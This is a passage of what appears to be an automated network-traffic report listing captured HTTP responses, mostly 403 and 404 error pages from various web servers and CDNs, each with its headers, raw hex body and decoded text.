20 61 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 73 6f 6c 69 64 20 31 70 78 20 23 33 61 33 61 33 61 3b 0a 20 20 7d 0a 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 7d 0a 0a 20 20 23 73 74 61 74 75 73 2d 70 61 67 65 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 20 20 7d 0a 0a 20 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 62 6f 74 74 6f 6d 3a 20 32 32 70 78 3b 0a 20 20 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:18:10 GMTServer: Apache/2Content-Length: 199Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:18:11 GMTServer: Apache/2Content-Length: 199Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Date: Fri, 25 Oct 2024 09:18:11 GMTHost: 127.0.0.1:8086Server: nginx/1.21.6X-Powered-By: PbootCMSX-Ua-Compatible: IE=edge,chrome=1Transfer-Encoding: chunked
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 25 Oct 2024 09:18:13 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-alivex-sorting-hat-podid: 376x-sorting-hat-shopid: 61843439788x-storefront-renderer-rendered: 1vary: Accept-Encoding,Acceptset-cookie: keep_alive=93a1b0c4-7129-4519-b636-5a3bbded083b; path=/; expires=Fri, 25 Oct 2024 09:48:13 GMT; HttpOnly; SameSite=Laxset-cookie: cart_currency=GBP; path=/; expires=Fri, 08 Nov 2024 09:18:13 GMT; SameSite=Laxset-cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22sale_of_data_region%22%3Afalse%7D; domain=snugpak.com; path=/; expires=Sat, 26 Oct 2024 09:18:13 GMT; SameSite=Laxset-cookie: _shopify_y=a33c6b7a-413d-41cc-a563-ce4e4082ffc1; Expires=Sat, 25-Oct-25 09:18:13 GMT; Domain=snugpak.com; Path=/; SameSite=Laxset-cookie: _shopify_s=3f229cfd-cc19-4c17-acad-0ba55c221d37; Expires=Fri, 25-Oct-24 09:48:13 GMT; Domain=snugpak.com; Path=/; SameSite=Laxcache-control: no-cache, no-storex-shopify-nginx-no-cookies: 0link: <https://cdn.shopify.com>; rel="preconnect", <https://cdn.shopify.com>; rel="preconnect"; crossorigin, <https://cdn.sData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 25 Oct 2024 09:18:13 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-alivex-sorting-hat-podid: 376x-sorting-hat-shopid: 61843439788x-storefront-renderer-rendered: 1vary: Accept-Encoding,Acceptset-cookie: keep_alive=e9ae408f-1700-4fdf-a9c1-8c5b229c2266; path=/; expires=Fri, 25 Oct 2024 09:48:13 GMT; HttpOnly; SameSite=Laxset-cookie: cart_currency=GBP; path=/; expires=Fri, 08 Nov 2024 09:18:13 GMT; SameSite=Laxset-cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22sale_of_data_region%22%3Afalse%7D; domain=snugpak.com; path=/; expires=Sat, 26 Oct 2024 09:18:13 GMT; SameSite=Laxset-cookie: _shopify_y=a33c6b7a-413d-41cc-a563-ce4e4082ffc1; Expires=Sat, 25-Oct-25 09:18:13 GMT; Domain=snugpak.com; Path=/; SameSite=Laxset-cookie: _shopify_s=33ea1964-f4d2-44ed-aeb4-3e6ce091ebb1; Expires=Fri, 25-Oct-24 09:48:13 GMT; Domain=snugpak.com; Path=/; SameSite=Laxcache-control: no-cache, no-storex-shopify-nginx-no-cookies: 0link: <https://cdn.shopify.com>; rel="preconnect", <https://cdn.shopify.com>; rel="preconnect"; crossorigin, <https://cdn.sData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:18:14 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveX-Frame-Options: SAMEORIGINReferrer-Policy: same-originCache-Control: max-age=15Expires: Fri, 25 Oct 2024 09:18:29 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kXSFAkpbKTyCmhYgAWg3Jo4JJXOAhZ4XQCPhYy8sgcY%2Bw50w%2BebqnF8Wxsg2alVrm7fcsrmf5ukXjymtIJKhrU%2FSbchUdq0RZKJBXPObqxqFf2wjRTmk6vu%2Bk8Eo2ci%2F"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d811e3e0eca4868-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1054&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=804&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 31 31 61 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 74 74 65 6e 74 69 6f 6e 20 52 65 71 75 69 72 65 64 21 20 7c 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e Data Ascii: 11a1<!DOCTYPE html><!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]--><!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]--><!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]--><!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]--><head><title>Attention Required! \| Cloudflare</title>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveServer: ZENEDGECache-Control: no-storeCache-Control: no-cache, no-store, must-revalidateCache-Control: max-age=0X-Zen-Fury: d0a2ac318fa3f72117ff05ef84b5d4d7d76e354eX-Cache-Status: Date: Fri, 25 Oct 2024 09:18:14 GMTData Raw: 32 61 39 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 20 69 66 20 28 74 79 70 65 6f 66 28 5f 5f 5f 7a 65 6e 29 20 3d 3d 3d 20 22 75 6e 64 65 66 69 6e 65 64 22 29 20 7b 73 65 74 54 69 6d 65 6f 75 74 28 61 72 67 75 6d 65 6e 74 73 2e 63 61 6c 6c 65 65 2c 20 35 30 29 3b 20 72 65 74 75 72 6e 3b 20 7d 5f 5f 5f 7a 65 6e 2e 68 69 63 28 22 5f 5f 5a 45 48 49 43 36 32 34 22 2c 20 31 37 32 39 38 34 37 38 36 32 2c 20 31 2c 20 30 2c 20 36 30 29 3b 20 7d 29 28 29 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 61 73 79 6e 63 3d 22 61 73 79 6e 63 22 20 73 72 63 3d 22 2f 5f 5f 7a 65 6e 65 64 67 65 2f 61 73 73 65 74 73 2f 68 69 63 2e 6a 73 3f 76 3d 31 36 37 34 32 30 37 34 32 32 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 64 69 76 3e 3c 68 31 3e 34 30 33 3c 2f 68 31 3e 3c 2f 64 69 76 3e 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 61 73 79 6e 63 3d 22 61 73 79 6e 63 22 20 73 72 63 3d 22 2f 5f 5f 7a 65 6e 65 64 67 65 2f 61 73 73 65 74 73 2f 66 2e 6a 73 3f 76 3d 31 36 37 34 32 30 37 34 32 32 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 76 61 72 20 76 20 3d 20 31 37 32 39 38 34 37 38 36 32 20 2a 20 33 2e 31 34 31 35 39 32 36 35 33 35 38 39 38 3b 20 76 20 3d 20 4d 61 74 68 2e 66 6c 6f 6f 72 28 76 29 3b 20 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 5f 5f 7a 6a 63 32 30 30 33 3d 22 2b 76 2b 22 3b 20 65 78 70 69 72 65 73 3d 46 72 69 2c 20 32 35 20 4f 63 74 20 32 30 32 34 20 30 39 3a 32 30 3a 31 34 20 55 54 43 3b 20 70 61 74 68 3d 2f 22 3b 20 7d 29 28 29 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 2a9<html><head><title>403 Forbidden</title><script type="text/javascript">(function(){ if (typeof(___zen) === "undefined") {setTimeout(arguments.callee, 50); return; }___zen.hic("__ZEHIC624", 1729847862, 1, 0, 60); })()</script><script type="text/javascript" async="async" src="/__zenedge/assets/hic.js?v=1674207422"></script></head><body><center><div><h1>403</h1></div><h1>Forbidden</h1></center><script type="text/javascript" async="async" src="/__zenedge/assets/f.js?v=1674207422"></script><script>(function () { var v = 1729847862 * 3.1415926535898; v = Math.floor(v); docume
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 25 Oct 2024 09:18:15 GMTContent-Type: text/htmlContent-Length: 19268Connection: keep-aliveServer: ApacheLast-Modified: Fri, 13 May 2022 08:04:11 GMTAccept-Ranges: bytesData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 68 74 6d 6c 2c 62 6f 64 79 2c 68 31 2c 70 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 62 6f 64 79 2c 68 74 6d 6c 20 7b 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 59 61 6b 75 48 61 6e 4a 50 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 e3 83 92 e3 83 a9 e3 82 ae e3 83 8e e8 a7 92 e3 82 b4 e3 82 b7 e3 83 83 e3 82 af 2c 20 22 48 69 72 61 67 69 6e 6f 20 53 61 6e 73 22 2c 20 22 e3 83 92 e3 83 a9 e3 82 ae e3 83 8e e8 a7 92 e3 82 b4 20 50 72 6f 4e 20 57 33 22 2c 20 22 48 69 72 61 67 69 6e 6f 20 4b 61 6b 75 20 47 6f 74 68 69 63 20 50 72 6f 4e 22 2c 20 56 65 72 64 61 6e 61 2c 20 4d 65 69 72 79 6f 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 34 30 33 32 33 30 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 36 30 70 78 20 33 30 70 78 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 36 34 30 70 78 29 20 7b 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 30 70 78 20 33 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 30 2e 30 35 65 6d 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 2e 34 72 65 6d 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 61 20 7b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 34 37 45 46 30 3b 0a 20 20 20 20 20 20 7d 0a 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:18:15 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveX-Frame-Options: SAMEORIGINReferrer-Policy: same-originCache-Control: max-age=15Expires: Fri, 25 Oct 2024 09:18:30 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qwZBBauSOoPvxFatSJv4CM0lMYcRFn46XOqr0%2FLTnuqrm8lE57d6eu08PjXbjkGUX%2Bw%2BDI%2B69vBhK3NvK6tA0NRcR55WSEQ8OwFp6JXxtLV1sk29xKbxtSBNLXnj566O"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d811e456d8fea84-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1189&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=764&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 31 31 61 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 74 74 65 6e 74 69 6f 6e 20 52 65 71 75 69 72 65 64 21 20 7c 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c Data Ascii: 11a1<!DOCTYPE html><!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]--><!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]--><!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]--><!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]--><head><title>Attention Required! \| Cloudflare</title><
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveX-Zen-Fury: 975d13cab1521f7557889309143781757e0bc519Date: Fri, 25 Oct 2024 09:18:15 GMTX-Cache-Status: Cache-Control: no-storeCache-Control: no-cache, no-store, must-revalidateCache-Control: max-age=0Server: ZENEDGEData Raw: 32 61 39 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 20 69 66 20 28 74 79 70 65 6f 66 28 5f 5f 5f 7a 65 6e 29 20 3d 3d 3d 20 22 75 6e 64 65 66 69 6e 65 64 22 29 20 7b 73 65 74 54 69 6d 65 6f 75 74 28 61 72 67 75 6d 65 6e 74 73 2e 63 61 6c 6c 65 65 2c 20 35 30 29 3b 20 72 65 74 75 72 6e 3b 20 7d 5f 5f 5f 7a 65 6e 2e 68 69 63 28 22 5f 5f 5a 45 48 49 43 36 32 34 22 2c 20 31 37 32 39 38 34 37 38 36 32 2c 20 31 2c 20 30 2c 20 36 30 29 3b 20 7d 29 28 29 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 61 73 79 6e 63 3d 22 61 73 79 6e 63 22 20 73 72 63 3d 22 2f 5f 5f 7a 65 6e 65 64 67 65 2f 61 73 73 65 74 73 2f 68 69 63 2e 6a 73 3f 76 3d 31 36 37 34 32 30 37 34 32 32 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 64 69 76 3e 3c 68 31 3e 34 30 33 3c 2f 68 31 3e 3c 2f 64 69 76 3e 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 61 73 79 6e 63 3d 22 61 73 79 6e 63 22 20 73 72 63 3d 22 2f 5f 5f 7a 65 6e 65 64 67 65 2f 61 73 73 65 74 73 2f 66 2e 6a 73 3f 76 3d 31 36 37 34 32 30 37 34 32 32 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 76 61 72 20 76 20 3d 20 31 37 32 39 38 34 37 38 36 32 20 2a 20 33 2e 31 34 31 35 39 32 36 35 33 35 38 39 38 3b 20 76 20 3d 20 4d 61 74 68 2e 66 6c 6f 6f 72 28 76 29 3b 20 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 5f 5f 7a 6a 63 32 30 30 33 3d 22 2b 76 2b 22 3b 20 65 78 70 69 72 65 73 3d 46 72 69 2c 20 32 35 20 4f 63 74 20 32 30 32 34 20 30 39 3a 32 30 3a 31 35 20 55 54 43 3b 20 70 61 74 68 3d 2f 22 3b 20 7d 29 28 29 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 2a9<html><head><title>403 Forbidden</title><script type="text/javascript">(function(){ if (typeof(___zen) === "undefined") {setTimeout(arguments.callee, 50); return; }___zen.hic("__ZEHIC624", 1729847862, 1, 0, 60); })()</script><script type="text/javascript" async="async" src="/__zenedge/assets/hic.js?v=1674207422"></script></head><body><center><div><h1>403</h1></div><h1>Forbidden</h1></center><script type="text/javascript" async="async" src="/__zenedge/assets/f.js?v=1674207422"></script><script>(function () { var v = 1729847862 * 3.1415926535898; v = Math.floor(v); docume
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Fri, 25 Oct 2024 09:18:15 GMTContent-Type: text/htmlContent-Length: 552Connection: keep-aliveVary: Accept-EncodingData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>openresty</center></body></html><!-- a padding to disable MSIE and Chrome friendly error 